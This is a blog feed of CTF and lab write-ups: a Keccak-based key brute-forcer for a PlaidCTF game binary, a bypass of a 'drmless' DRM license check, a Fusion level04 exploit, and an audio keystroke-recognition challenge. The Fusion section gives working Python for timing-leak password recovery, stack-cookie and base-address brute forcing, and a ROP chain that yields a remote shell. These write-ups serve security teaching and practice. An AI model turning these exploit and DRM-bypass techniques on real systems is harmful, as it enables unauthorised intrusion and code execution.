sub_80489DE(3, "After pi", a1);
sub_804AF85(a1);
sub_80489DE(3, "After chi", a1);
sub_804B175(a1, i);
result = sub_80489DE(3, "After iota", a1);
}
return result;
}
</pre>
<p>So at this point I just decided to google for cryptographic functions (I thought it was likely to be a hash) that contained a permutation, lanes and blocks called theta, rho, pi, chi, iota. This search leads very fast to Keccak, or SHA-3 (notice the k's in the same place as the challenge name? :) ).</p>
<p>Good, it seems we have our hash function that will help generate the key. Now we need a bit more reversing to figure out what options we have for the different variables involved. The first one is the game level... this is easy, since we can track the 'youwin' function back to its caller and see under what condition it is called: </p>
<pre lang="c" class="brush: c">
if ( current_level == 9 )
v2 = youwin();
else
v2 = (int)"kavihk";
mvprintw(
dword_804CA60,
0,
"H:%d/%d W:d%d L:%d $%d %s",
dword_804CAB8,
dword_804CABC,
dword_804CAC0,
current_level,
dword_8054AA8,
v2);
</pre>
<p>So we have levels 0 to 9. In the level initialization function, we find that the level starts at 0 but is increased during initialization. Thus, the level value is 1-8 while we play the game, and is 9 when we have won. </p>
<p>Next, we need to figure out what happens with the gold... so we go back to the initialization function and check cross-references to the gold_collected variable. This brings us to the main loop, where this check is performed: </p>
<pre lang="c" class="brush: c">
if ( dword_804CB20[90 * (a1 + dword_80549B4) + a2 + dword_8054AA0] == '$' )
{
gold_collected += current_level;
</pre>
<p> Ok, this means that each time we find a dollar sign, we will increase our gold by a number equal to the current level. Something similar happens with the max_life_points when finding a talisman: </p>
<pre lang="c" class="brush: c">
if ( dword_804CB20[90 * (a1 + dword_80549B4) + a2 + dword_8054AA0] == tailsman )
{
max_health_points += current_level;
dword_804CB20[a2 + dword_8054AA0 + 90 * (a1 + dword_80549B4)] = empty_space;
}
</pre>
<p>Allright...next question: how many dollar signs and how many talisman signs can we find at each level? For this we need to go to the level initialization code again. I reversed this function quite a bit, comparing with the original code, so I knew that there is a function to fill in random empty spots, and an array with elements used to fill in the game grid.</p>
<p>So looking at this code, we find the following: </p>
<pre lang="c" class="brush: c">
player_y = 0;
for ( b_tmp_var = 0; b_tmp_var <= 8; ++b_tmp_var )
{
if ( current_level <= 8 )
fill_random_position(elems[b_tmp_var]); // fill objects
}
for ( b_tmp_var = 0; ; ++b_tmp_var )
{
result = b_tmp_var;
if ( 2 * current_level <= b_tmp_var ) // 2*level monsters!
break;
r = rand();
fill_random_position(r % (7 * current_level / 5) + 'c');// Fill monsters
}
return result;
}
</pre>
<p>So this shows that we use the 9 initial items of 'elems' to fill in objects for the level. These are the contents of the array: </p>
<pre lang="asm" class="brush: plain">
.data:0804CA80 elems dd '$' ; DATA XREF: init_level+31A r
.data:0804CA80 ; main+163 r
.data:0804CA84 dd '`'
.data:0804CA88 dd '*'
.data:0804CA8C dd '$'
.data:0804CA90 dd '.'
.data:0804CA94 dd '@'
.data:0804CA98 dd '`'
.data:0804CA9C dd '>'
.data:0804CAA0 dd ']'
</pre>
<p> This tells us that there are two dollar signs and two talismans (the ` sign) in each level. So now we have all the information required to solve the level... except for implementing the proper flavor of SHA3. It turns out this costed me quite some time, and several stupid mistakes were made during that time (yes... after ~40 hours of CTF my mind is not in a very fresh state anymore :( ).</p>
<p>I first downloaded a python reference implementation from the Keccak website... but soon found out that the 34 and 1566 values (rate and capacity) were not supported by it (they had to be multiples of 8). So I moved into the C reference implementation... and found there was A LOT of code and it was very confusing to me at that moment. </p>
<p> So I decided to take 'a shortcut': reuse the implementation in the binary by means of injecting a dynamic library. I created a file implementing a 'start_color' function, which is called near the beginning of the game. From there, I could call the different functions in the game in a loop by means of function pointers. This is how the initial code looked (it is still missing some of the logic, but I don't have it at hand anymore) like: </p>
<pre lang="c" class="brush: c">
#include <unistd.h>
int (*do_sha3)(void *state,void *in, int insize, void *out, int outsize);
int start_color(void){
int current_level=0,max_health_points=18,gold_collected=0;
int dest;
char buffer[16]; //This is for the last one
const char *key = "\\\xf7\x8f/ny\xccy\xdc \x12\x0euj\x89\xd72P\xb2\xd2\xb1\x16\xd9\xe0\xde\xbf?\xf6\x1b\x08";
// int level;
do_sha3 = 0x0804A1A5;
void * sha3_State = 0x080549C0;
for(current_level=0;current_level<9;current_level++){
do_sha3(sha3_State, ¤t_level, 32u, 0, 0);
do_sha3(sha3_State, &max_health_points, 32u, 0, 0);
do_sha3(sha3_State, &gold_collected, 32u, 0, 0);
do_sha3(sha3_State, 0, 0, &dest, 32u);
// current_level++;
printf("Level: %d = %.8x\n", current_level+1, dest);
}
exit(-1);
return 0;
}
</pre>
<p> From this code, I implemented a brute-forcer to go through the options... but it turned out to be awfully slow (specially within a single-core VM where I couldn't really paralellize anything). This means we need a faster implementation... so I had to dive into the damn Keccak reference code in C. </p>
<p> Now, during the CTF I couldn't find the exact functions that our binary was using, so I used lower level functions and made wrappers around them to look like the ones in the binary. However, I failed at restoring the encrypted flag and also I failed at the number of iterations through the levels. </p>
<p>It turns out that, although there are only 8 levels that the user plays, the level initialization routine is called 9 times. This means that the sha3 over the current_level, max_health_points and gold_collected is performed 9 times, not 8. Yes, in the code above it looks ok. But no, in my bruteforcer I failed to do it and set it to 8 (shame on me!), which is one of the reasons it failed during the CTF.</p>
<p>During the CTF I asked a couple stupid questions to clockish (who created the challenge) to check that I was still relatively sane... when the CTF ended. At this point, he told me I should have used the 'Duplex' functions from Keccak, which are exactly the ones used in the game! </p>
<p> Even then, I had failed at the number of iterations through the loop, and also at memcpy'ing over the global flag (shame on me again! I do too much AES stuff with 16 byte blocks at work, so I used 16 b ytes in the memcpy instead of 30...). Anyway, after the CTF I had some time to fix the problems, and I got to the solution. </p>
<p> The good news is, I was on the right track and had it almost done except for stupid mistakes (if it would have been slightly earlier in the weekend I'm quite confident I'd have finished it). The bad news is we didn't score those 400 points :-/</p>
<p> So in the end, here is the main code that does it: </p>
<pre lang="c" class="brush: c">
int main(int ac, char **argv){
int rate=34;
int capacity=1600-34;
uint32_t current_level,max_health_points,gold_collected;
uint32_t dest=0;
int i,j,gold,points;
char *msg;
const char *key = "\x5c\xf7\x8f\x2f\x6e\x79\xcc\x79\xdc\x20\x12\x0e\x75\x6a\x89\xd7\x32\x50\xb2\xd2\xb1\x16\xd9\xe0\xde\xbf\x3f\xf6\x1b\x08";
// spongeState state;
current_level=0;
gold_collected=0;
max_health_points = 0x12;
for(i=atoi(argv[1]);i<6561;i++){
printf("[*] i = %d\n" , i);
fflush(stdout);
for(j=0;j<6561;j++){
//Reinitialize game options
max_health_points = 18;
gold_collected = 0;
memcpy(xored_flag,key,30);
//Reinitialize state
init_state(state, 34, 1566);
//Obtain current guess
gold = i;
points = j;
//Iterate through the levels, increasing gold and max health depending on current guess
for(current_level=0;current_level<8;current_level++){
// printf("%d %d %d\n", current_level, max_health_points, gold_collected);
do_sha3(state, ¤t_level, 32, 0, 0);
do_sha3(state, &max_health_points, 32, 0, 0);
do_sha3(state, &gold_collected, 32, 0, 0);
do_sha3(state, 0, 0, &dest, 32);
// printf("Computed hash for level %d: %x\n", current_level+1,dest);
gold_collected += (gold % 3)*(current_level+1);
max_health_points += (points%3)*(current_level+1);
points /= 3;
gold /= 3;
}
do_sha3(state, ¤t_level, 32, 0, 0);
do_sha3(state, &max_health_points, 32, 0, 0);
do_sha3(state, &gold_collected, 32, 0, 0);
do_sha3(state, 0, 0, &dest, 32);
// printf("\n");
// exit(-1);
msg = youwin();
// printf("msg = %s " , msg);
if(strcmp(msg,"WIN ...but no flag for you.")){
printf("msg = %s \n" , msg);
exit(0);
}
}
}
}
</pre>
<p>The rest of the code can be found in <a href="http://www.limited-entropy.com/stuff/kavihk.tgz">this archive</a>. This code comes from the KeccakRefernceAndOptimized distribution, a bit cleaned up so that it only contains my brute-forcer. If you run it starting at offset 2946 you'll see the solution: </p>
<pre lang="bash" class="brush: bash">
sfx@deb64:~/dev/pctf2013/KeccakReferenceAndOptimized$ bin/KeccakOptimized64 2946
[*] i = 2946
msg = b2ute_f0rce_1s_7he_b3st_f0rce
sfx@deb64:~/dev/pctf2013/KeccakReferenceAndOptimized$
</pre>
<p>Although we didn't finish it on time, it was a fun challenge to look at (albeit frustrating because I failed at solving it!)</p>Eloi Sanfelixhttp://www.blogger.com/profile/13366053563949767664noreply@blogger.com0tag:blogger.com,1999:blog-8030856701715224582.post-45870863401690922462013-04-26T21:58:00.000+02:002013-04-26T21:58:55.451+02:00PlaidCTF 2013 - drmless (binary 250) write-up<div dir="ltr" style="text-align: left;" trbidi="on">
One of the challenges I looked at during the last PlaidCTF was 'drmless', and since I didn't see a write-up yet I thought it'd be nice to publish one. Again this is cross-posted on <a href="http://www.limited-entropy.com/plaidctf-2013-drmless">my blog</a> and int3pids blog. <br />
For this challenge, we were provided with a <a href="http://play.plaidctf.com/files/drmless.tgz-e9f85853ac856d7ed7a5a8c6e807955f07bbfa7a">drmless.tgz</a> file containing a few things:
<br />
<ul>
<li>.drmlicense : A 16 byte file with some hexadecimal contents</li>
<li>cool_story.enc : A 'cool story' encrypted.</li>
<li>cooler_story.enc : An even 'cooler story' also encrypted.</li>
<li>drmless : an ELF binary.</li>
<li>readme.txt : challenge instructions.</li>
</ul>
<br />
If we read the instructions, we see the following text: <br />
<pre>Here's a cool story from PPP!
We wrote an even cooler story, but you need to pay
us if you want to unlock it. TEN THOUSAND DOLLAR.
</pre>
If we run 'drmless cool_story.enc' after extracting the archive on a 32 bit Linux machine we get a nice decrypted file. If we attempt to do the same on the cooler_story.enc file, we are told that this is a binary file and asked whether we want to view it anyway. Sounds like the 'less' program, doesn't it? <br />
So we have a file we can decrypt, and one we cannot. The objective is to decrypt the other one, presumably by altering the drmlicense or bypassing it in some way. Let's look at the binary to find out what's going on. <br />
At startup, the binary loads the .drmlicense file and reads 16 bytes into the 'license' global buffer:<br />
<pre class="brush:cpp">
v2 = getenv("HOME");
snprintf(&v27, 1024, "%s/.drmlicense", v2);
v3 = open((const char *)&v27, 0);
if ( v3 >= 0 || (v3 = open("/.drmlicense", 0), v3 >= 0) || (v3 = open("./.drmlicense", 0), v3 >= 0) )
{
read(v3, license, 16);
close(v3);
}
</pre>
If we search for cross-referneces to license, we see it is only used in the 'undrm' function, which looks like this: <br />
<pre class="brush:cpp">int __cdecl undrm(int a1)
{
int result; // eax@1
aes_wb_decryptor(a1, a1);
result = 0;
do
{
*(_BYTE *)(a1 + result) ^= license[result];
++result;
}
while ( result != 16 );
return result;
}
</pre>
So apparently 'drmless' uses this aes_wb_decryptor function to decrypt the data, and then XORs it with the license. It is interesting to note that only the input buffer is passed to the decryptor, which means that it either uses a hardcoded key or it is stored in some global variable. <br />
Also, it is interesting to note that the name indicates this is probably a whitebox implementation. This means the implementation is obfuscated in an attempt to withstand static/dynamic analysis, and most likely the key is mixed into the algorithm itself in some way.<br />
In any case, I have read documentation on whitebox cryptography before, and also analyzed some implementations of it. Based on that experience, I had some ideas on how to approach a whitebox implementation, but I also knew that I should probably focus on the stuff around the whitebox before diving into the whitebox itself. <br />
Just for fun, I look at the implementation and quickly saw that each round of AES is splitted into several functions, and they are all called sequentially. <br />
<pre>.text:0829FF19 loc_829FF19: ; CODE XREF: aes_wb_decryptor+7089 j
.text:0829FF19 ; aes_wb_decryptor+7094 j ...
.text:0829FF19 mov eax, [ebp+var_24]
.text:0829FF1C call r013
.text:0829FF21 mov [ebp+var_59], al
.text:0829FF24 mov eax, [ebp+var_30]
.text:0829FF27 call r020
.text:0829FF2C mov [ebp+var_7B], al
.text:0829FF2F mov eax, [ebp+var_2C]
.text:0829FF32 call r021
.text:0829FF37 mov [ebp+var_7A], al
.text:0829FF3A mov eax, [ebp+var_28]
.text:0829FF3D call r022
.text:0829FF42 mov [ebp+var_79], al
.text:0829FF45 mov eax, [ebp+var_24]
.text:0829FF48 call r023
.text:0829FF4D mov [ebp+var_78], al
.text:0829FF50 mov eax, [ebp+var_30]
.text:0829FF53 call r030
</pre>
I also saw no global key seems to be input to the algorithm, so I started treating it as a decryption oracle and turned into the more interesting XOR with the license and its possible implications.<br />
The first thing I did was looking for cross-refs to 'undrm'. I found it is used in the 'drmprotected' function to decide whether a file is DRM-protected or not: <br />
<pre class="brush:cpp">signed int __cdecl drmprotected(int a1)
{
int v1; // ebx@4
int v2; // eax@5
char v4[16]; // [sp+10h] [bp-48h]@4
char v5; // [sp+20h] [bp-38h]@4
char v6; // [sp+30h] [bp-28h]@4
char v7; // [sp+40h] [bp-18h]@4
if ( !old_bin_file(a1) || !seekable(a1) || lseek(a1, 0, 0) == -1 )
return 0;
v1 = read(a1, v4, 64);
undrm((int)v4);
undrm((int)&v5);
undrm((int)&v6);
undrm((int)&v7);
if ( v1 > 0 )
{
v2 = 0;
if ( v4[0] < 0 )
return 0;
while ( 1 )
{
++v2;
if ( v1 <= v2 )
break;
if ( v4[v2] < 0 )
return 0;
}
}
return 1;
}
</pre>
This just decrypts the first 64 bytes of a file and performs some checks on it. If the checks pass, the function returns 1, otherwise it returns 0. At this point I strongly suspected this was all the protection that was to be found. So I decided to set my drm license to all-zeros, force the 'drmprotected' function to return 1 and dump the data into a file. <br />
I did this using this <a href="http://www.limited-entropy.com/stuff/drmless.py.txt">vtrace script</a> and running it with the cool and the cooler story. The script still requires you to go through the whole output by pressing 'space' until reaching the end, in the same way you'd navigate through a file with 'less'.<br />
<pre>sfx@deb:~/drmless/$ python drmless.py cool_story.enc cool_story.dec
sfx@deb:~/drmless/$ python drmless.py cooler_story.enc cooler_story.dec
</pre>
After this, I used <a href="https://github.com/hellman/xortool">xortool</a> from Hellman to analyze the output files. When run with the 'cool story' it lead to the original .drmlicense contents... so I ran it against the cooler story and used the resulting key to decrypt the output: <br />
<pre>sfx@deb:~/drmless/xortool-master$ python xortool.py -l 16 ../cool_story.dec -c 20
1 possible key(s) of length 16:
\x00\x11"3DUfw\x88\x99\xaa\xbb\xcc\xdd\xee\xff
Found 1 plaintexts with 95.0%+ printable characters
See files filename-key.csv, filename-char_used-perc_printable.csv
sfx@deb:~/drmless/xortool-master$ python xortool.py -l 16 ../cooler_story.dec -c 20
1 possible key(s) of length 16:
\xfe\xed\xa1\x07\x0f\xf0\rp\xde\xad\xbe\xef\xfa\xceUU
Found 1 plaintexts with 95.0%+ printable characters
See files filename-key.csv, filename-char_used-perc_printable.csv
sfx@deb:~/drmless/xortool-master$ cd ...
bash: cd: ...: No such file or directory
sfx@deb:~/drmless/xortool-master$ ls
args.py args.pyc colors.py colors.pyc libcolors.py libcolors.pyc README.md routine.py routine.pyc tests xortool_out xortool.py
sfx@deb:~/drmless/xortool-master$ cd ..
sfx@deb:~/drmless$ ls
cooler_story.dec cool_story.dec drmless master.zip story.dec util.pyc
cooler_story.enc cool_story.enc drmless.py readme.txt util.py xortool-master
sfx@deb:~/drmless$ python
Python 2.7.3 (default, Mar 5 2013, 01:19:40)
[GCC 4.7.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import util
>>> x = open('cooler_story.dec').read()
>>> key = "\xfe\xed\xa1\x07\x0f\xf0\rp\xde\xad\xbe\xef\xfa\xceUU"
>>> y = util.repxor(x,key)
>>> y[:100]
'TWELFTH NIGHT; OR, WHAT YOU WILL\r\n\r\nby PPP\r\n"freeShakespeare_downWithDRM"\r\n\r\n\r\n\r\nPERSONS REPRESENTED'
>>>
The key is: freeShakespeare_downWithDRM
</pre>
So here it is, 250 points :)</div>Eloi Sanfelixhttp://www.blogger.com/profile/13366053563949767664noreply@blogger.com0tag:blogger.com,1999:blog-8030856701715224582.post-9621405856404944242013-03-13T20:35:00.000+01:002013-03-13T20:35:28.754+01:00Fusion 04 exploit write-upLast week I started playing with the exploit exercises from the Fusion VM at <a href="http://exploit-exercises.com">exploit-exercises.com</a>. The first level was a straightforward stack overflow without any mitigations. Next came one with ASLR for the stack, which was easy to bypass with a simple jmp *esp found in the main binary. Next level up added NX, so I had to resort to ROP, which was also simple by using ROPGadget to generate a payload based off libc (and fixing up the chain due to a bug in ROPGadget 3.3).</br></br>
Now, level04 was slightly more difficult. It is a web server compiled with stack cookies (SSP), position independent code (PIC/PIE) and configured to run with ALSR and NX. So this gives us a few protections we need to bypass or work around somehow.
</br></br>
Because of this, I thought it was interesting to share and maybe request some feedback... who knows, maybe there are easier solutions and I am just complicating my life :) You can also find a copy of this post at <a href="http://www.limited-entropy.com/fusion-04-exploit-write-up">my personal blog</a>
</br></br>
Additionally, the web server generates a random password which you need to provide in order to hit the vulnerability and control the instruction pointer. Looking at the validate_credentials function, we see this code: </br></br>
<pre class="brush:cpp">
int validate_credentials(char *line)
{
char *p, *pw;
unsigned char details[2048];
int bytes_wrong;
int l;
struct timeval tv;
int output_len;
memset(details, 0, sizeof(details));
output_len = sizeof(details);
p = strchr(line, '\n');
if(p) *p = 0;
p = strchr(line, '\r');
if(p) *p = 0;
// printf("%d\n", strlen(line));
base64_decode(line, strlen(line), details, &output_len);
// printf("%s -> %s\n", line, details);
// fflush(stdout);
p = strchr(details, ':');
pw = (p == NULL) ? (char *)details : p + 1;
for(bytes_wrong = 0, l = 0; pw[l] && l < password_size; l++) {
if(pw[l] != password[l]) {
#if 0
char *buf;
asprintf(&buf, "[%d] wrong byte (%02x vs %02x)\n", l,
password[l], pw[l]);
write(58, buf, strlen(buf));
#endif
bytes_wrong++;
}
}
// anti bruteforce mechanism. good luck ;>
tv.tv_sec = 0;
tv.tv_usec = 2500 * bytes_wrong;
select(0, NULL, NULL, NULL, &tv);
// printf("%d bytes wrong!\n", bytes_wrong);
if(l < password_size || bytes_wrong)
send_error(401, "Unauthorized",
"WWW-Authenticate: Basic realm=\"stack06\"",
"Unauthorized");
return 1;
}
</pre>
So there is a clear timing leak on line 208 which tells you how many bytes were wrong. Additionally, the base64_decode function seems to take the length of the output buffer but then this is what it does with it: </br></br>
<pre class="brush:cpp">
void base64_decode(const char *data,
size_t input_length,
unsigned char *output,
size_t *output_length) {
if (decoding_table == NULL) build_decoding_table();
// printf("data: %p, input_length: %d, output: %p, output_length: %p\n",
// data, input_length, output, output_length);
if ((input_length % 4) != 0) {
// printf("len % 4 = fail\n");
return;
}
*output_length = input_length / 4 * 3;
</pre>
So, it just overwrites it with the computed output buffer and goes ahead and decodes it. Thus, we have a stack based buffer overflow but in order to exploit it we first need to recover the random password so that the function returns and uses the pops the return address off the stack.</br></br>
Discovering the password is fairly easy thanks to the timing leak: we just brute force byte by byte, measuring the time to see if we found the right character or not. In my case, the timing difference is below 0.001 when we hit a good value and above it when we do not, so I just check for that:</br></br>
<pre class="brush:python">
def check_password(s, password):
req = "GET / HTTP/1.0\r\nAuthorization: Basic %s\r\n\r\n" % base64.b64encode("stack06:"+password)
s.send(req)
resp = ""
resp = resp + s.recv(1024)
auth = "Unauthorized" not in resp
return (auth, resp)
# First find auth password
def find_next_char(password):
done = False
for current_char in string.ascii_letters+string.digits:
s = get_connection(ip,port)
t0 = time.time()
found,resp = check_password(s, password+current_char)
t1 = time.time()
s.close()
#If found or time indicates current char is good...
if found or (t1-t0) < 0.001:
print "[*] Found character %d = %s" %(len(password)+1,current_char)
return (found,password+current_char)
return (False,password)
def find_password():
password = ""
found = False
while(not found) and len(password)<16:
(found,password) = find_next_char(password)
return password
</pre>
So this piece will find us the password. What's next? Well, we can use this to overwrite some data and hopefully hijack EIP. But... as I mentioned above, there is a catch: there is a stack cookie protecting EIP. </br></br>
Since we can feed any binary data of any size (thanks base64 decode :) ), we can brute force the stack cookie byte by byte. When we see a stack corruption, we guessed an incorrect value. When the program goes on normally, we hit the right result. Again, this is the code implementing that part:</br></br>
<pre class="brush:python">
def find_cookie(password,cookie = ""):
while len(cookie)!=4:
for i in xrange(256):
# print "[*] Test ", i
s = get_connection(ip,port)
found,resp = check_password(s,password + "A"*2024+ cookie + chr(i))
if "smashing" not in resp:
# print resp
cookie = cookie + chr(i)
print "[*] Cookie value is 0x%s" % cookie.encode("hex")
break
else:
print resp
s.close()
return cookie
</pre>
At this point, we can reliably set EIP since we know the stack cookie value. However, that's not very helpful since everything is randomized thanks to full ASLR and a PIC binary. The first thing I tried here was overwriting the last byte of the saved EIP to land on a call to printf() or some other function returning data. This would help me obtain some data from the stack, and then I could create a ROP payload based on the leaked data.</br></br>
However, then I hit another problem: ebx is used by the code to contain a reference to the binary loading address + some offset. This is done to achieve position independent code. Unfortunately, the exploit also overwrites ebx, which was stored by validate_credentials just between the stack cookie and the return address.</br></br>
So what I did next was guessing ebx in the same way I did for the stack cookie. However, here I started with the known last byte (the lowest 12 bits of the binary are not randomized) and brute forced the rest. Again, the code is very similar to the previous one:</br></br>
<pre class="brush:python">
def find_ebx(password,cookie):
ebx = ""
s = get_connection(ip,port)
found,base_resp = check_password(s,password + "A"*2024+ cookie + "AAAA"*3)
s.close()
while len(ebx)<4:
for i in xrange(0,256):
try:
s = get_connection(ip,port)
found,resp = check_password(s,password + "A"*2024+ cookie + "AAAA"*3 + ebx + chr(i) )
s.close()
if resp == base_resp:
ebx = ebx + chr(i)
print "[*] ebx value is 0x%s" % ebx[::-1].encode("hex")
break
except socket.error:
# print "[*] Fail"
pass
if i==255:
print "[*] Could not discover ebx value. Exploit failed."
sys.exit(-1)
return ebx
</pre>
This code first obtains a 'normal response'. Next, it starts bruteforcing ebx byte by byte, comparing the response with the 'expected response'. If it matches, the right value was found, else it iterates to the next candidate. </br></br>
Now, with this done we are able to compute the base for the binary by subtracting 0x4118 from the leaked ebx value. After finishing the exploit I realized that this was actually not needed, since the stack smashing detection code prints out a very helpful memory map into stderr, which is redirected to our socket. Anyway, with this code the exploit doesn't rely on that leak so it would work even if stderr is not redirected to our socket.</br></br>
At this point I had two options: use this to leak the libc or make a ROP payload based on the binary. Since I already had a payload for libc made with help of ROPGadget (which I had to correct due to some bug by the way), I decided to return into write and leak the first GOT entry to obtain the libc base. Therefore, the final stages of my exploit look like this:</br></br>
<pre class="brush:python">
base = struct.unpack("<I", ebx)[0] - 0x22FF - 0x1E19
write_plt = struct.pack("<I",base + 0xF30 ) #write PLT entry
got_base = struct.pack("<I",base + 0x4124 ) # GOT start
print "[*] Binary base: 0x%.8x . Leaking libc base" % base
print "[*] PLT entry for printf @ ", write_plt[::-1].encode('hex')
print "[*] GOT start @ ", got_base[::-1].encode("hex")
s = get_connection(ip,port)
found,resp = check_password(s,password + "A"*2024+ cookie + "AAAA"*3 + ebx + "AAAA"*3 + write_plt + "AAAA" + "\x01\x00\x00\x00" + got_base + "\x04\x00\x00\x00")
s.close()
libc = struct.unpack("<I", resp[:4])[0] - 0xd3a70
print "[*] Discovered libc base: 0x%.8x" % libc
print "[*] Launching ROP exploit"
p = get_rop(libc)
s = get_connection(ip,port)
found,resp = check_password(s,password + "A"*2024+ cookie + "AAAA"*7 + p)
</pre>
After this, a nice shell is running for us. With only one catch: an alarm is set by the webserver, and it will trigger a SIGALRM signal soon. So what I do is just executing trap '' SIGALRM; as a first command so that the signal is ignored. The full exploit code is <a href="http://www.limited-entropy.com/stuff/level04.py.txt">here</a> for you to play with :)</br></br>
<h3>Conclusion</h3>
Even in the presence of quite some countermeasures (fully randomized addres space, non-executable data areas, stack smash protection), it is still possible to achieve reliable code execution. </br></br>
In this case, we have abused the fact that the vulnerable server does not call execve() for every new child to brute-force the stack cookie and also to discover the base address of the executable itself. After this is done, it is basically game over. </br></br>
However, these techniques have two requirements: the address space has to remain constant between requests (albeit random every time we restart the whole server) and we need to be able to partially corrupt the data with fully arbitrary values. If these requirements were not met, another info-leak bug would have been required in order to obtain this data.</br></br>
Thus, as an application programmer it is always recommended to call fork()+execve() instead of just fork(), so that the OS re-randomizes the whole address space. Eloi Sanfelixhttp://www.blogger.com/profile/13366053563949767664noreply@blogger.com3tag:blogger.com,1999:blog-8030856701715224582.post-51532655392337950592012-05-10T15:32:00.000+02:002012-05-10T15:32:24.574+02:00PlaidCTF 2012 – Traitor (200 pts)Although this challenge was given a score of only 200 points, nobody solved it during or after the PlaidCTF contest, so I decided to give it a chance as a personal challenge, because I saw it very interesting from a technical point of view. <br />
<br />
By the way, congrats to the <a href="http://ppp.cylab.cmu.edu/" rel="nofollow" target="_blank">PPP team</a> for the awesome organization of the CTF and its challenges. :-)<br />
<br />
<h2>
Original description</h2>
<em>"Top operative laser mic'd a room where a robot conspirator was logging into the robot government's secret interface. We were able to clean up the <a href="http://repo.shell-storm.org/CTF/PlaidCTF-2012/traitor/traitor.mp3" rel="nofollow" target="_blank">audio file</a> significantly, but have no clue anymore."</em><br />
<br />
<h2>
Overview</h2>
The challenge is supposed to be very straightforward, because we only have a recorded audio file of someone typing in a keyboard. Assuming that each key emits a different sound when pressed, if we have enough keystrokes, theoretically we should be able to infer the text being typed, making some assumptions (like the expected language and so on).<br />
<br />
After listening carefully to the 6 minutes of the audio file, and given the general quality of the challenges, we can safely assume that other approaches (like steganography or guessing) have to be much less probable.<br />
<br />
A summary of the process to follow would be:<br />
<ul>
<li>Detect and separate each keystroke</li>
<li>Group them according to their sound patterns and similarity</li>
<li>Given a keystroke, classify and tag it according to its group</li>
<li>Generate a cryptogram with the tagged keystrokes</li>
<li>Solve the cryptogram assuming a monoalphabetic substitution cipher</li>
</ul>
<br />
<h2>
Detecting the keystrokes</h2>
Instead of applying a formal method, I started writing some code and testing with some variations and I decided to follow that empirical way, keeping the process as simple as possible, so probably some part of my process is unnecessary or even have a negative impact on the final results or accuracy.<br />
<br />
Well, my first step was to clean the audio, reducing the background noise and randomness of the signal, mainly by filtering and minimizing the lowest frequencies.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKhTHN0vY27CtO7qXs5ukB0Z6Bw-fUPulzYFUC3cUzizrtTj5hV9XLA38ncH6qU2IZU4_EEeLSZ1ZUSxilalr3pR_oRycBssr-Mad-gGvch9VSK959CcN-SB3mps2YoSlqYNi9itkvF3Y/s1600/Original.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="260" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKhTHN0vY27CtO7qXs5ukB0Z6Bw-fUPulzYFUC3cUzizrtTj5hV9XLA38ncH6qU2IZU4_EEeLSZ1ZUSxilalr3pR_oRycBssr-Mad-gGvch9VSK959CcN-SB3mps2YoSlqYNi9itkvF3Y/s320/Original.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<em>Original audio signal</em></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdegXFHT-7df8pTgnlPgd1C942JfCNlUg_OVn7AD8t1xvEdA3IB95e-fsqDALmul4ELIN6Q6P_OATcHJDo96TAqc-aEyJGcRuhEaKUbZKmXM89581Kqr_qmb_fIq_KMa6PE810_BGLZtw/s1600/Filtered.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="260" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdegXFHT-7df8pTgnlPgd1C942JfCNlUg_OVn7AD8t1xvEdA3IB95e-fsqDALmul4ELIN6Q6P_OATcHJDo96TAqc-aEyJGcRuhEaKUbZKmXM89581Kqr_qmb_fIq_KMa6PE810_BGLZtw/s320/Filtered.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<em>Filtered audio signal</em></div>
<br />
Then, I saved this filtered audio as raw PCM data (44100 Hz, 16 bits, mono), instead of the compressed MP3 format of the original file, so now we have the signal directly represented as a byte array, which is a necessary step in order to perform calculations over it.<br />
<br />
Each sound can be decomposed as a sum of frequencies, and a well-known mathematical operation to get those frequencies from its time representation is the <a href="http://en.wikipedia.org/wiki/Fourier_transform" rel="nofollow" target="_blank">Fourier transform</a>. Our input is sampled data in time domain, so we will use the <a href="http://en.wikipedia.org/wiki/Discrete_Fourier_transform" rel="nofollow" target="_blank">Discrete Fourier Transform</a> (DFT) to transform it to the frequency domain.<br />
<br />
We can try to detect the beginning of each keystroke based on the amplitude of the signal, and then start taking samples from these points, but I decided to start with a simpler approach, dividing uniformly the whole signal in blocks of the same size, and calculate its DFT.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1TydvkjDhyphenhyphenIGZNCYlq9yfppJVnAg4z1FJb8Q3xRHKEKAh0enAwh0YyOePmBGLATuW4EgQjlK2j0zahMk1H3sp-OgqOv1x2AuJ7fkFcWcywzXIeZ1eyL7eDZSXrYKfSr6Ft9nPViHlFyM/s1600/Spectral.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="260" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1TydvkjDhyphenhyphenIGZNCYlq9yfppJVnAg4z1FJb8Q3xRHKEKAh0enAwh0YyOePmBGLATuW4EgQjlK2j0zahMk1H3sp-OgqOv1x2AuJ7fkFcWcywzXIeZ1eyL7eDZSXrYKfSr6Ft9nPViHlFyM/s320/Spectral.png" width="320" />
</a></div>
<div class="separator" style="clear: both; text-align: center;">
<em>Spectral view of the same audio signal</em></div>
<br />
I chose a window size of 2048 samples (46 ms) because in average is big enough to fit a whole keystroke alone (without overlapping with the closest ones), so we will have to compute the DTF of 3840 blocks in total. The DTF function will output a sequence of complex numbers, but for our purposes of spectral analysis, we can simplify and take their magnitude as a valid measure, so we will use an array of integers to hold each DFT.<br />
<br />
Once we have the DFT of each block, we can try to determine if it contains the sound of a keystroke or not by estimating the energy or power of the signal and checking if it's greater than a threshold. For instance, this can be done by summing the squares of each value.<br />
<br />
<div>
</div>
After getting rid of the silence blocks, I simplified each remaining DFT again by calculating the average of each 16 values (so the final length of the DFT arrays will be 64), trying to minimize the impact of the noise and randomness.<br />
<br />
Let's see the spectrum graph of some keystrokes to see what we have done until now:<br />
<br />
<div>
</div>
